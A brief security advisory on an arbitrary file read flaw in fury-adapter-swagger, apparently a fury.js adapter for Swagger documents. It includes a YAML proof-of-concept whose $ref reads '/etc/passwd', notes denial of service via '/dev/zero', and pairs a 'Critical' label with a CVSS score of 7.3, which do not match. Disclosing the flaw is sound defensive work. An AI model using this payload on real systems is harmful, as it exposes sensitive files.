Severity: Critical
CVSS Score: 7.3
fury-adapter-swagger is a fury.js adapter for loading swagger HTTP API description documents - either via YAML or JSON. fury-adapter-swagger has a vulnerability that allows arbitrary file reads off the file system. This could be used to retrieve sensitive data, or cause a denial of service by reading `/dev/zero`. An example proof of concept is provided below: ``` --- swagger: '2.0' info: title: Read local files version: '1.0' paths: /foo: get: responses: 200: description: Some description examples: text/html: example: $ref: '/etc/passwd' ```